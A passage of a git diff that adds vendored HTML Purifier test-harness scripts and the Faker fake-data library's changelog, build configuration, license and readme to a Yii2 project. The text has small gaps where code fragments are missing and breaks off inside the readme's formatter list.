              '; + echo $string; +} + +/** + * Convenient "insta-fail" test-case to add if any outside things fail + */ +class FailedTest extends UnitTestCase +{ + protected $msg, $details; + public function __construct($msg, $details = null) + { + $this->msg = $msg; + $this->details = $details; + } + public function test() + { + $this->fail($this->msg); + if ($this->details) $this->reporter->paintFormattedMessage($this->details); + } +} + +/** + * Flushes all caches, and fatally errors out if there's a problem. + */ +function htmlpurifier_flush($php, $reporter) +{ + exec($php . ' ../maintenance/flush.php ' . $php . ' 2>&1', $out, $status); + if ($status) { + $test = new FailedTest( + 'maintenance/flush.php returned non-zero exit status', + wordwrap(implode("\n", $out), 80) + ); + $test->run($reporter); + exit(1); + } +} + +/** + * Dumps error queue, useful if there has been a fatal error. + */ +function htmlpurifier_dump_error_queue() +{ + $context = SimpleTest::getContext(); + $queue = $context->get('SimpleErrorQueue'); + while (($error = $queue->extract()) !== false) { + var_dump($error); + } +} +register_shutdown_function('htmlpurifier_dump_error_queue'); + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/default_load.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/default_load.php new file mode 100644 index 00000000..9b8bfb70 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/default_load.php @@ -0,0 +1,3 @@ + 'file', + 'h' => 'help', + 'v' => 'verbose', +); + +// It's important that this does not call the autoloader. Not a problem +// with a function, but could be if we put this in a class. +htmlpurifier_parse_args($AC, $aliases); + +if ($AC['help']) { +?>HTML Purifier test suite +Allowed options: + --flush + --standalone + --file (-f) HTMLPurifier/NameOfTest.php + --xml + --txt + --dry + --php /path/to/php + --type ( htmlpurifier | configdoc | fstools | htmlt | vtest | phpt ) + --disable-phpt + --verbose (-v) +addDecorator('Memory'); // since we deal with a lot of config objects + +if (!$AC['disable-phpt']) { + $phpt = PHPT_Registry::getInstance(); + $phpt->php = $AC['php']; +} + +// load tests +require 'test_files.php'; + +$FS = new FSTools(); + +// handle test dirs +foreach ($test_dirs as $dir) { + $raw_files = $FS->globr($dir, '*Test.php'); + foreach ($raw_files as $file) { + $file = str_replace('\\', '/', $file); + if (isset($test_dirs_exclude[$file])) continue; + $test_files[] = $file; + } +} + +// handle vtest dirs +foreach ($vtest_dirs as $dir) { + $raw_files = $FS->globr($dir, '*.vtest'); + foreach ($raw_files as $file) { + $test_files[] = str_replace('\\', '/', $file); + } +} + +// handle phpt files +foreach ($phpt_dirs as $dir) { + $phpt_files = $FS->globr($dir, '*.phpt'); + foreach ($phpt_files as $file) { + $test_files[] = str_replace('\\', '/', $file); + } +} + +// handle htmlt dirs +foreach ($htmlt_dirs as $dir) { + $htmlt_files = $FS->globr($dir, '*.htmlt'); + foreach ($htmlt_files as $file) { + $test_files[] = str_replace('\\', '/', $file); + } +} + +array_unique($test_files); +sort($test_files); // for the SELECT +$GLOBALS['HTMLPurifierTest']['Files'] = $test_files; // for the reporter +$test_file_lookup = array_flip($test_files); + +// determine test file +if ($AC['file']) { + if (!isset($test_file_lookup[$AC['file']])) { + echo "Invalid file passed\n"; + exit; + } +} + +if ($AC['file']) { + + $test = new TestSuite($AC['file']); + htmlpurifier_add_test($test, $AC['file']); + +} else { + + $standalone = ''; + if ($AC['standalone']) $standalone = ' (standalone)'; + $test = new TestSuite('All HTML Purifier tests on PHP ' . PHP_VERSION . $standalone); + foreach ($test_files as $test_file) { + htmlpurifier_add_test($test, $test_file); + } + +} + +if ($AC['dry']) $reporter->makeDry(); + +$test->run($reporter); + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/multitest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/multitest.php new file mode 100644 index 00000000..ef296cdd --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/multitest.php @@ -0,0 +1,159 @@ + 'file', + 'q' => 'quiet', + 'v' => 'verbose', +); +htmlpurifier_parse_args($AC, $aliases); + +// Backwards compat extra parsing +if ($AC['only-phpt']) { + $AC['type'] = 'phpt'; +} +if ($AC['exclude-normal']) $AC['distro'] = 'standalone'; +elseif ($AC['exclude-standalone']) $AC['distro'] = 'normal'; +elseif ($AC['standalone']) $AC['distro'] = 'standalone'; + +if ($AC['xml']) { + $reporter = new XmlReporter(); +} else { + $reporter = new HTMLPurifier_SimpleTest_TextReporter($AC); +} + +// Regenerate any necessary files +if (!$AC['disable-flush']) htmlpurifier_flush($AC['php'], $reporter); + +$file_arg = ''; +require 'test_files.php'; +if ($AC['file']) { + $test_files_lookup = array_flip($test_files); + if (isset($test_files_lookup[$AC['file']])) { + $file_arg = '--file=' . $AC['file']; + } else { + throw new Exception("Invalid file passed"); + } +} +// This allows us to get out of having to do dry runs. +$size = count($test_files); + +$type_arg = ''; +if ($AC['type']) $type_arg = '--type=' . $AC['type']; + +if ($AC['quick']) { + $seriesArray = array(); + foreach ($versions_to_test as $version) { + $series = substr($version, 0, strpos($version, '.', strpos($version, '.') + 1)); + if (!isset($seriesArray[$series])) { + $seriesArray[$series] = $version; + continue; + } + if (version_compare($version, $seriesArray[$series], '>')) { + $seriesArray[$series] = $version; + } + } + $versions_to_test = array_values($seriesArray); +} + +// Setup the test +$test = new TestSuite('HTML Purifier Multiple Versions Test'); +foreach ($versions_to_test as $version) { + // Support for arbitrarily forcing flushes by wrapping the suspect + // version name in an array() + $flush_arg = ''; + if (is_array($version)) { + $version = $version[0]; + $flush_arg = '--flush'; + } + if ($AC['type'] !== 'phpt') { + $break = true; + switch ($AC['distro']) { + case '': + $break = false; + case 'normal': + $test->add( + new CliTestCase( + "$phpv $version index.php --xml $flush_arg $type_arg --disable-phpt $file_arg", + $AC['quiet'], $size + ) + ); + if ($break) break; + case 'standalone': + $test->add( + new CliTestCase( + "$phpv $version index.php --xml $flush_arg $type_arg --standalone --disable-phpt $file_arg", + $AC['quiet'], $size + ) + ); + if ($break) break; + } + } + if (!$AC['disable-phpt'] && (!$AC['type'] || $AC['type'] == 'phpt')) { + $test->add( + new CliTestCase( + $AC['php'] . " index.php --xml --php \"$phpv $version\" --type=phpt", + $AC['quiet'], $size + ) + ); + } +} + +// This is the HTML Purifier website's test XML file. We could +// add more websites, i.e. more configurations to test. +// $test->add(new RemoteTestCase('http://htmlpurifier.org/dev/tests/?xml=1', 'http://htmlpurifier.org/dev/tests/?xml=1&dry=1&flush=1')); + +$test->run($reporter); + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/path2class.func.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/path2class.func.php new file mode 100644 index 00000000..bf3aa735 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/path2class.func.php @@ -0,0 +1,15 @@ +=')) { + // $test_dirs[] = 'ConfigDoc'; // no test files currently! + } + if ($break) break; + case 'fstools': + $test_dirs[] = 'FSTools'; + case 'htmlt': + $htmlt_dirs[] = 'HTMLPurifier/HTMLT'; + if ($break) break; + case 'vtest': + $vtest_dirs[] = 'HTMLPurifier/ConfigSchema/Validator'; + if ($break) break; + + case 'phpt': + if (!$AC['disable-phpt'] && version_compare(PHP_VERSION, '5.2', '>=')) { + $phpt_dirs[] = 'HTMLPurifier/PHPT'; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/tmp/README b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/tmp/README new file mode 100644 index 00000000..2e35c1c3 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/tmp/README @@ -0,0 +1,3 @@ +This is a dummy file to prevent Git from ignoring this empty directory. + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/fzaninotto/faker/.gitignore b/php/yii2/basic/vendor/fzaninotto/faker/.gitignore new file mode 100644 index 00000000..7579f743 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/.gitignore @@ -0,0 +1,2 @@ +vendor +composer.lock diff --git a/php/yii2/basic/vendor/fzaninotto/faker/.travis.yml b/php/yii2/basic/vendor/fzaninotto/faker/.travis.yml new file mode 100644 index 00000000..e71aaaa7 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/.travis.yml @@ -0,0 +1,17 @@ +language: php + +php: + - 5.3 + - 5.4 + - 5.5 + - hhvm + +matrix: + allow_failures: + - php: hhvm + +before_script: + - composer self-update + - composer install --dev + +script: make sniff test diff --git a/php/yii2/basic/vendor/fzaninotto/faker/CHANGELOG b/php/yii2/basic/vendor/fzaninotto/faker/CHANGELOG new file mode 100644 index 00000000..5c3978ea --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/CHANGELOG @@ -0,0 +1,184 @@ +CHANGELOG +========= + +2014-06-04, v1.4.0 +------------------ + +* Fixed typo in Slovak person names (cinan) +* Added tests for uk_UA providers (serge-kuharev) +* Fixed numerify() performance by making it 30% faster (fzaninotto) +* Added strict option to randomNumber to force number of digits (fzaninotto) +* Fixed randomNumber usage duplicating numberBetween (fzaninotto) +* Fixed address provider for latvian language (MatissJA) +* Added Czech Republic (cs_CZ) address, company, datetime and text providers (Mikulas) +* Fixed da_DK Person provider data containing an 'unnamed' person (tolnem) +* Added slug provider (fzaninotto) +* Fixed IDE insights for new local IP and MAC address providers (hugofonseca) +* Added firstname gender method to all Person providers (csanquer) +* Fixed tr_TR email service, city name, person, and phone number formats (ogunkarakus) +* Fixed US_en state list (fzaninotto) +* Fixed en_US address provider so state abbr are ISO 3166 codes (Garbee) +* Added local IP and MAC address providers (kielabokkie) +* Fixed typo in century list affecting the century provider (fzaninotto) +* Added default value to optional modifier (joshuajabbour) +* Fixed Portuguese phonenumbers have 9 digits (hugofonseca) +* Added fileCopy to File provider to simulate file upload (stefanosala) +* Added pt_PT providers (hugofonseca) +* Fixed dead code in text provider (hugofonseca) +* Fixed IDE insights for magic properties (hugofonseca) +* Added tin (NIF) generator for pt_PT provider (hugofonseca) +* Fixed numberBetween max default value handling (fzaninotto) +* Added pt_PT phone number provider (hugofonseca) +* Fixed PSR-2 standards and add make task to force it on Travis (terite) +* Added new ro_RO Personal Numerical Code (CNP) and phone number providers (avataru) +* Fixed Internet provider for sk_SK locale (cinan) +* Fixed typo in en_ZA Internet provider (bjorntheart) +* Fixed phpdoc for DateTime magic methods (stof) +* Added doc about seeding with maximum timestamp using dateTime formatters (fzaninotto) +* Added Maximum Timestamp option to get always same unix timestamp when using a fixed seed (csanquer) +* Added Montenegrian (me_ME) providers +* Added ean barcode provider (nineinchnick) +* Added fullPath parameter to Image provider (stefanosala) +* Added more Polish company formats (nineinchnick) +* Added Polish realText provider (nineinchnick) +* Fixed remaining non-seedable random generators (terite) +* Added randomElements provider (terite) +* Added French realText provider (fzaninotto) +* Fixed realText provider bootstrap slowness (fzaninotto) +* Added realText provider for English and German, based on Markov Chains Generator (TimWolla) +* Fixed address format in nl_NL provider (doenietzomoeilijk) +* Fixed potentially offensive word from last name list (joshuajabbour) +* Fixed reamde documentation about the optional modifier (cryode) +* Fixed Image provider and documentor routine (fzaninotto) +* Fixed IDE insights for methods (PedroTroller) +* Fixed missing data in en_US Address provider (Garbee) +* Added Bengali (bn_BD) providers (masnun) +* Fixed warning on test file when short tags are on (bateller) +* Fixed Doctrine populator undefined index warning (dbojdo) +* Added French Canadian (fr_CA) Address and Person providers (marcaube) +* Fixed typo in NullGenerator (mhanson01) +* Fixed Doctrine populator issue with one-to-one nullable relationship (jpetitcolas) +* Added Canadian English (en_CA) address and phone number providers (cviebrock) +* Fixed duplicated Payment example in readme (Garbee) +* Fixed Polish (pl_PL) Person provider data (czogori) +* Added Hungarian (hu_HU) providers (sagikazarmark) +* Added 'kana' (ja_JP) name formatters (kzykhys) +* Added allow_failure for hhvm to travis-ci and test against php 5.5 (toin0u) + +2013-12-16, v1.3.0 +------------------ + +* Fixed state generator in Australian (en_AU) provider (sebklaus) +* Fixed IDE insights for locale specific providers (ulrikjohansson) +* Added English (South Africa) (en_ZA) person, address, Internet and phone number providers (dmfaux) +* Fixed integer values overflowing on signed INTEGER columns on Doctrine populator (Thinkscape) +* Fixed spelling error in French (fr_FR) address provider (leihog) +* Added improvements based on SensioLabsInsights analysis +* Fixed Italian (it_IT) email provider (garak) +* Added Spanish (es_ES) Internet provider (eusonlito) +* Added English Philippines (en_PH) address provider (kamote) +* Added Brazilian (pt_BR) email provider data (KennedyTedesco) +* Fixed UK country code (pgscandeias) +* Added Peruvian (es_PE) person, address, phone number, and company providers (cslucano) +* Added Ukrainian (uk_UA) color provider (ruden) +* Fixed Ukrainian (uk_UA) namespace and email translitteration (ruden) +* Added Romanian (Moldova) (ro_MD) person, address, and phone number providers (AlexanderC) +* Added IBAN generator for every currently known locale that uses it (nineinchnick) +* Added Image generation powered by LoremPixel (weotch) +* Fixed missing timezone with dateTimeBetween (baldurrensch) +* Fixed call to undefined method cardType in Payment (WMeldon) +* Added Romanian (ro_RO) address and person providers (calina-c) +* Fixed Doctrine populator to use ObjectManager instead of EntityManagerInterface (mgiustiniani) +* Fixed docblock for Provider\Base::unique() (pschultz) +* Added Payment providers (creditCardType, creditCardNumber, creditCardExpirationDate, creditCardExpirationDateString) (pomaxa) +* Added unique() modifier +* Added IDE insights to allow better intellisense/phpStorm autocompletion (thallisphp) +* Added Polish (pl_PL) address provider, personal identity number and pesel number generator (nineinchnick) +* Added Turkish (tr_TR) address provider, and improved internet provider (hasandz) +* Fixed Propel column number guesser to use signed range of values (gunnarlium) +* Added Greek (el_GR) person, address, and phone number providers (georgeharito) +* Added Austrian (en_AU) address, Internet, and phone number providers (rcuddy) +* Fixed phpDoc in Doctrine Entity populator (rogamoore) +* Added French (fr_FR) phone number formats (vchabot) +* Added optional() modifier (weotch) +* Fixed typo in the Person provider documentation (jtreminio) +* Fixed Russian (ru_RU) person format (alexshadow007) +* Added Japanese (ja_JP) person, address, Internet, phone number, and company providers (kumamidori) +* Added color providers, driver license and passport number formats for the ru_RU locale (pomaxa) +* Added Latvian (lv_LV) person, address, Internet, and phone number providers (pomaxa) +* Added Brazilian (pt_BR) Internet provider (vjnrv) +* Added more Czech (cs_CZ) lastnames (petrkle) +* Added Chinese Simplified (zh_CN) person, address, Internet, and phone number providers (tlikai) +* Fixed Typos (pborelli) +* Added Color provider with hexColor, rgbColor, rgbColorAsArray, rgbCssColor, safeColorName, and colorName formatters (lsv) +* Added support for associative arrays in `randomElement` (aRn0D) + + +2013-06-09, v1.2.0 +------------------ + +* Added new provider for fr_BE locale (jflefebvre) +* Updated locale provider to use a static locale list (spawn-guy) +* Fixed invalid UTF-8 sequence in domain provider with the Bulgarian provider (Dynom) +* Fixed the nl_NL Person provider (Dynom) +* Removed all requires and added the autoload definition to composer (Dynom) +* Fixed encoding problems in nl_NL Address provider (Dynom) +* Added icelandic provider (is_IS) (birkir) +* Added en_CA address and phone numbers (cviebrock) +* Updated safeEmail provider to be really safe (TimWolla) +* Documented alternative randomNumber usage (Seldaek) +* Added basic file provider (anroots) +* Fixed use of fourth argument on Doctrine addEntity (ecentinela) +* Added nl_BE provider (wimvds) +* Added Random Float provider (csanquer) +* Fixed bug in Faker\ORM\Doctrine\Populator (mmf-amarcos) +* Updated ru_RU provider (rmrevin) +* Added safe email domain provider (csanquer) +* Fixed latitude provider (rumpl) +* Fixed unpredictability of fake data generated by Faker\Provider\Base::numberBetween() (goatherd) +* Added uuid provider (goatherd) +* Added possibility to call methods on Doctrine entities, possibility to generate unique id (nenadalm) +* Fixed prefixes typos in 'pl_PL' Person provider (krymen) +* Added more fake data to the Ukraininan providers (lysenkobv) +* Added more fake data to the Italian providers (EmanueleMinotto) +* Fixed spaces appearing in generated emails (alchy58) +* Added Armenian (hy_AM) provider (artash) +* Added Generation of valid SIREN & SIRET codes to French providers (alexsegura) +* Added Dutch (nl_NL) provider (WouterJ) +* Fixed missing typehint in Base::__construct() (benja-M-1) +* Fixed typo in README (benja-M-1) +* Added Ukrainian (ua_UA) provider (rsvasilyev) +* Added Turkish (tr_TR) Provider (faridmovsumov) +* Fixed executable bit in some PHP files (siwinski) +* Added Brazilian Portuguese (pt_BR) provider (oliveiraev) +* Added Spanish (es_ES) provider (ivannis) +* Fixed Doctrine populator to allow for the population of entity data that has associations to other entities (afishnamedsquish) +* Added Danish (da_DK) providers (toin0u) +* Cleaned up whitespaces (toin0u) +* Fixed utf-8 bug with lowercase generators (toin0u) +* Fixed composer.json (Seldaek) +* Fixed bug in Doctrine EntityPopulator (beberlei) +* Added Finnish (fi_FI) provider (drodil) + +2012-10-29, v1.1.0 +------------------ + +* Updated text provider to return paragraphs as a string instead of array. Great for populating markdown textarea fields (Seldaek) +* Updated dateTimeBetween to accept DateTime instances (Seldaek) +* Added random number generator between a and b, simply like rand() (Seldaek) +* Fixed spaces in generated emails (blaugueux) +* Fixed Person provider in Russian locale (Isamashii) +* Added new UserAgent provider (blaugueux) +* Added locale generator to Miscellaneous provider (blaugueux) +* Added timezone generator to DateTime provider (blaugueux) +* Added new generators to French Address providers (departments, regions) (geoffrey-brier) +* Added new generators to French Company provider (catch phrase, SIREN, and SIRET numbers) (geoffrey-brier) +* Added state generator to German Address provider (Powerhamster) +* Added Slovak provider (bazo) +* Added latitude and longitude formatters to Address provider (fixe) +* Added Serbian provider (umpirsky) + +2012-07-10, v1.0.0 +----------------- + +* Initial Version diff --git a/php/yii2/basic/vendor/fzaninotto/faker/CONTRIBUTING.md b/php/yii2/basic/vendor/fzaninotto/faker/CONTRIBUTING.md new file mode 100644 index 00000000..e81bc765 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/CONTRIBUTING.md @@ -0,0 +1,21 @@ +Contributing +============ + +If you've written a new formatter, adapted Faker to a new locale, or fixed a bug, your contribution is welcome! + +Before proposing a pull request, check the following: + +* Your code should follow the [PSR-2 coding standard](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md) (and use [php-cs-fixer](https://github.com/fabpot/PHP-CS-Fixer) to fix inconsistencies). +* Unit tests should still pass after your patch +* As much as possible, add unit tests for your code +* If you add new providers (or new locales) and that they embed a lot of data for random generation (e.g. first names in a new language), please add a link to the reference you used for this list (example [in the ru_RU locale](https://github.com/fzaninotto/Faker/blob/master/src/Faker/Provider/ru_RU/Person.php#L13)). This will ease future updates of the list and debates about the most relevant data for this provider. +* If you add long list of random data, please split the list into several lines. This makes diffs easier to read, and facilitates core review. +* If you add new formatters, please include documentation for it in the README. Don't forget to add a line about new formatters in the `@property` or `@method` phpDoc entries in [Generator.php](https://github.com/fzaninotto/Faker/blob/master/src/Faker/Generator.php#L6-L118) to help IDEs auto-complete your formatters. +* If your new formatters are specific to a certain locale, document them in the [Language-specific formatters](https://github.com/fzaninotto/Faker#language-specific-formatters) list instead. +* Avoid changing existing sets of data. Some developers use Faker with seeding for unit tests ; changing the data makes their tests fail. +* Speed is important in all Faker usages. Make sure your code is optimized to generate thousands of fake items in no time, without consuming too much memory or CPU. +* If you commit a new feature, be prepared to help maintaining it. Watch the project on GitHub, and please comment on issues or PRs regarding the feature you contributed. + +Once your code is merged, it is available for free to everybody under the MIT License. Publishing your Pull Request on the Faker GitHub repository means that you agree with this license for your contribution. + +Thank you for your contribution! Faker wouldn't be so great without you. diff --git a/php/yii2/basic/vendor/fzaninotto/faker/LICENSE b/php/yii2/basic/vendor/fzaninotto/faker/LICENSE new file mode 100644 index 00000000..b48b6662 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/LICENSE @@ -0,0 +1,22 @@ +Copyright (c) 2011 François Zaninotto +Portions Copyright (c) 2008 Caius Durling +Portions Copyright (c) 2008 Adam Royle +Portions Copyright (c) 2008 Fiona Burrows + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. \ No newline at end of file diff --git a/php/yii2/basic/vendor/fzaninotto/faker/Makefile b/php/yii2/basic/vendor/fzaninotto/faker/Makefile new file mode 100644 index 00000000..f1776c92 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/Makefile @@ -0,0 +1,10 @@ +vendor/autoload.php: + composer install + +.PHONY: sniff +sniff: vendor/autoload.php + vendor/bin/phpcs --standard=PSR2 src -n + +.PHONY: test +test: vendor/autoload.php + vendor/bin/phpunit diff --git a/php/yii2/basic/vendor/fzaninotto/faker/composer.json b/php/yii2/basic/vendor/fzaninotto/faker/composer.json new file mode 100644 index 00000000..72a776b1 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/composer.json @@ -0,0 +1,30 @@ +{ + "name": "fzaninotto/faker", + "type": "library", + "description": "Faker is a PHP library that generates fake data for you.", + "keywords": ["faker", "fixtures", "data"], + "license": "MIT", + "authors": [ + { + "name": "François Zaninotto" + } + ], + "require": { + "php": ">=5.3.3" + }, + "require-dev": { + "phpunit/phpunit": "~4.0", + "squizlabs/php_codesniffer": "~1.5" + }, + "autoload": { + "psr-0": { + "Faker": "src/", + "Faker\\PHPUnit": "test/" + } + }, + "extra": { + "branch-alias": { + "dev-master": "1.4.0" + } + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/phpunit.xml.dist b/php/yii2/basic/vendor/fzaninotto/faker/phpunit.xml.dist new file mode 100644 index 00000000..75d7e830 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/phpunit.xml.dist @@ -0,0 +1,9 @@ + + + + + + ./test/Faker/ + + + \ No newline at end of file diff --git a/php/yii2/basic/vendor/fzaninotto/faker/readme.md b/php/yii2/basic/vendor/fzaninotto/faker/readme.md new file mode 100644 index 00000000..482fe197 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/readme.md @@ -0,0 +1,846 @@ +# Faker # + +Faker is a PHP library that generates fake data for you. Whether you need to bootstrap your database, create good-looking XML documents, fill-in your persistence to stress test it, or anonymize data taken from a production service, Faker is for you. + +Faker is heavily inspired by Perl's [Data::Faker](http://search.cpan.org/~jasonk/Data-Faker-0.07/), and by ruby's [Faker](http://faker.rubyforge.org/). + +Faker requires PHP >= 5.3.3. + +[![Monthly Downloads](https://poser.pugx.org/fzaninotto/faker/d/monthly.png)](https://packagist.org/packages/fzaninotto/faker) [![Build Status](https://secure.travis-ci.org/fzaninotto/Faker.png)](http://travis-ci.org/fzaninotto/Faker) [![SensioLabsInsight](https://insight.sensiolabs.com/projects/eceb78a9-38d4-4ad5-8b6b-b52f323e3549/mini.png)](https://insight.sensiolabs.com/projects/eceb78a9-38d4-4ad5-8b6b-b52f323e3549) + +## Basic Usage + +Use `Faker\Factory::create()` to create and initialize a faker generator, which can generate data by accessing properties named after the type of data you want. + +```php +name; + // 'Lucy Cechtelar'; +echo $faker->address; + // "426 Jordy Lodge + // Cartwrightshire, SC 88120-6700" +echo $faker->text; + // Sint velit eveniet. Rerum atque repellat voluptatem quia rerum. Numquam excepturi + // beatae sint laudantium consequatur. Magni occaecati itaque sint et sit tempore. Nesciunt + // amet quidem. Iusto deleniti cum autem ad quia aperiam. + // A consectetur quos aliquam. In iste aliquid et aut similique suscipit. Consequatur qui + // quaerat iste minus hic expedita. Consequuntur error magni et laboriosam. Aut aspernatur + // voluptatem sit aliquam. Dolores voluptatum est. + // Aut molestias et maxime. Fugit autem facilis quos vero. Eius quibusdam possimus est. + // Ea quaerat et quisquam. Deleniti sunt quam. Adipisci consequatur id in occaecati. + // Et sint et. Ut ducimus quod nemo ab voluptatum. +``` + +Even if this example shows a property access, each call to `$faker->name` yields a different (random) result. This is because Faker uses `__get()` magic, and forwards `Faker\Generator->$property` calls to `Faker\Generator->format($property)`. + +```php +name, "\n"; +} + // Adaline Reichel + // Dr. Santa Prosacco DVM + // Noemy Vandervort V + // Lexi O'Conner + // Gracie Weber + // Roscoe Johns + // Emmett Lebsack + // Keegan Thiel + // Wellington Koelpin II + // Ms. Karley Kiehn V +``` + +**Tip**: For a quick generation of fake data, you can also use Faker as a command line tool thanks to [faker-cli](https://github.com/bit3/faker-cli). + +## Formatters + +Each of the generator properties (like `name`, `address`, and `lorem`) are called "formatters". A faker generator has many of them, packaged in "providers". Here is a list of the bundled formatters in the default locale. + +### `Faker\Provider\Base` + + randomDigit // 7 + randomDigitNotNull // 5 + randomNumber($nbDigits = NULL) // 79907610 + randomFloat($nbMaxDecimals = NULL, $min = 0, $max = NULL) // 48.8932 + numberBetween($min = 1000, $max = 9000) // 8567 + randomLetter // 'b' + randomElements($array = array ('a','b','c'), $count = 1) // array('c') + randomElement($array = array ('a','b','c')) // 'b' + numerify($string = '###') // '609' + lexify($string = '????') // 'wgts' + bothify($string = '## ??') // '42 jz' + +### `Faker\Provider\Lorem` + + word // 'aut' + words($nb = 3) // array('porro', 'sed', 'magni') + sentence($nbWords = 6) // 'Sit vitae voluptas sint non voluptates.' + sentences($nb = 3) // array('Optio quos qui illo error.', 'Laborum vero a officia id corporis.', 'Saepe provident esse hic eligendi.') + paragraph($nbSentences = 3) // 'Ut ab voluptas sed a nam. Sint autem inventore aut officia aut aut blanditiis. Ducimus eos odit amet et est ut eum.' + paragraphs($nb = 3) // array('Quidem ut sunt et quidem est accusamus aut. Fuga est placeat rerum ut. Enim ex eveniet facere sunt.', 'Aut nam et eum architecto fugit repellendus illo. Qui ex esse veritatis.', 'Possimus omnis aut incidunt sunt. Asperiores incidunt iure sequi cum culpa rem. Rerum exercitationem est rem.') + text($maxNbChars = 200) // 'Fuga totam reiciendis qui architecto fugiat nemo. Consequatur recusandae qui cupiditate eos quod.' + +### `Faker\Provider\en_US\Person` + + title($gender = null|'male'|'female') // 'Ms.' + titleMale // 'Mr.' + titleFemale // 'Ms.' + suffix // 'Jr.' + name($gender = null|'male'|'female') // 'Dr. Zane Stroman' + firstName($gender = null|'male'|'female') // 'Maynard' + firstNameMale // 'Maynard' + firstNameFemale // 'Rachel' + lastName // 'Zulauf' + +### `Faker\Provider\en_US\Address` + + cityPrefix // 'Lake' + secondaryAddress // 'Suite 961' + state // 'NewMexico' + stateAbbr // 'OH' + citySuffix // 'borough' + streetSuffix // 'Keys' + buildingNumber // '484' + city // 'West Judge' + streetName // 'Keegan Trail' + streetAddress // '439 Karley Loaf Suite 897' + postcode // '17916' + address // '8888 Cummings Vista Apt. 101, Susanbury, NY 95473' + country // 'Falkland Islands (Malvinas)' + latitude // '77.147489' + longitude // '86.211205' + +### `Faker\Provider\en_US\PhoneNumber` + + phoneNumber // '132-149-0269x3767' + +### `Faker\Provider\en_US\Company` + + catchPhrase // 'Monitored regional contingency' + bs // 'e-enable robust architectures' + company // 'Bogan-Treutel' + companySuffix // 'and Sons' + +### `Faker\Provider\en_US\Text` + + realText($maxNbChars = 200, $indexSize = 2) // "And yet I wish you could manage it?) 'And what are they made of?' Alice asked in a shrill, passionate voice. 'Would YOU like cats if you were never even spoke to Time!' 'Perhaps not,' Alice replied." + +### `Faker\Provider\DateTime` + + unixTime($max = 'now') // 58781813 + dateTime($max = 'now') // DateTime('2008-04-25 08:37:17') + dateTimeAD($max = 'now') // DateTime('1800-04-29 20:38:49') + iso8601($max = 'now') // '1978-12-09T10:10:29+0000' + date($format = 'Y-m-d', $max = 'now') // '1979-06-09' + time($format = 'H:i:s', $max = 'now') // '20:49:42' + dateTimeBetween($startDate = '-30 years', $endDate = 'now') // DateTime('2003-03-15 02:00:49') + dateTimeThisCentury($max = 'now') // DateTime('1915-05-30 19:28:21') + dateTimeThisDecade($max = 'now') // DateTime('2007-05-29 22:30:48') + dateTimeThisYear($max = 'now') // DateTime('2011-02-27 20:52:14') + dateTimeThisMonth($max = 'now') // DateTime('2011-10-23 13:46:23') + amPm($max = 'now') // 'pm' + dayOfMonth($max = 'now') // '04' + dayOfWeek($max = 'now') // 'Friday' + month($max = 'now') // '06' + monthName($max = 'now') // 'January' + year($max = 'now') // '1993' + century // 'VI' + timezone // 'Europe/Paris' + +### `Faker\Provider\Internet` + + email // 'tkshlerin@collins.com' + safeEmail // 'king.alford@example.org' + freeEmail // 'bradley72@gmail.com' + companyEmail // 'russel.durward@mcdermott.org' + freeEmailDomain // 'yahoo.com' + safeEmailDomain // 'example.org' + userName // 'wade55' + domainName // 'wolffdeckow.net' + domainWord // 'feeney' + tld // 'biz' + url // 'http://www.skilesdonnelly.biz/aut-accusantium-ut-architecto-sit-et.html' + slug // 'aut-repellat-commodi-vel-itaque-nihil-id-saepe-nostrum' + ipv4 // '109.133.32.252' + localIpv4 // '10.242.58.8' + ipv6 // '8e65:933d:22ee:a232:f1c1:2741:1f10:117c' + macAddress // '43:85:B7:08:10:CA' + +### `Faker\Provider\UserAgent` + + userAgent // 'Mozilla/5.0 (Windows CE) AppleWebKit/5350 (KHTML, like Gecko) Chrome/13.0.888.0 Safari/5350' + chrome // 'Mozilla/5.0 (Macintosh; PPC Mac OS X 10_6_5) AppleWebKit/5312 (KHTML, like Gecko) 